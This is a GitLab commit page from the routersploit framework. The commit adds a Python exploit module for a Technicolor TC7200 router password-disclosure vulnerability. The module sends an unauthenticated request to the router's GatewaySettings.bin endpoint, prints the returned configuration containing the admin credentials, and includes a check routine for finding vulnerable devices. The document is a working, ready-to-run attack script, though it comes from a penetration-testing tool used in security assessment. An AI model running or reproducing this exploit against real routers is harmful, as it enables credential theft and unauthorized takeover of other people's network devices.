Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
1ba4743a
Commit
1ba4743a
authored
9 years ago
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Technicolor TC7200 password disclosure exploit
parent
2a7845f8
master
…
v3.4.4
v3.4.3
v3.4.2
v3.4.0
v3.3.0
v3.2.0
v3.1.0
v3.0.0
v2.2.1
v2.2.0
v2.1.0
v2.0.0
No related merge requests found
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
61 additions
and
0 deletions
+61
-0
__init__.py
routersploit/modules/exploits/technicolor/__init__.py
+0
-0
tc7200_password_disclosure.py
...odules/exploits/technicolor/tc7200_password_disclosure.py
+61
-0
No files found.
routersploit/modules/exploits/technicolor/__init__.py
0 → 100644
View file @
1ba4743a
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/technicolor/tc7200_password_disclosure.py
0 → 100644
View file @
1ba4743a
import
requests
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for Technicolor TC7200 password disclosure vulnerability.
If the target is vulnerable, it allows read credentials for administration user.
"""
__info__
=
{
'name'
:
'Technicolor TC7200 Password Disclosure'
,
'description'
:
'Module exploits Technicolor TC7200 password disclosure vulnerability which allows fetching administration
\'
s password.'
,
'authors'
:
[
'Jeroen - IT Nerdbox'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'https://www.exploit-db.com/exploits/31894/'
,
],
'targets'
:
[
'Technicolor TC7200'
,
]
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
url
=
sanitize_url
(
"{}:{}/goform/system/GatewaySettings.bin"
.
format
(
self
.
target
,
self
.
port
))
try
:
r
=
requests
.
get
(
url
,
verify
=
False
)
except
requests
.
exceptions
.
ConnectionError
:
print_error
(
"Connection error:
%
s"
%
url
)
return
if
r
.
status_code
==
200
and
"0MLog"
in
r
.
text
:
print_success
(
"Exploit success"
)
print
r
.
text
else
:
print_error
(
"Exploit failed. Device seems to be not vulnerable."
)
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/goform/system/GatewaySettings.bin"
.
format
(
self
.
target
,
self
.
port
))
try
:
r
=
requests
.
get
(
url
,
verify
=
False
)
except
:
return
None
# could not verify
if
r
.
status_code
==
200
and
"0MLog"
in
r
.
text
:
return
True
# target vulnerable
return
False
# target is not vulnerable
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment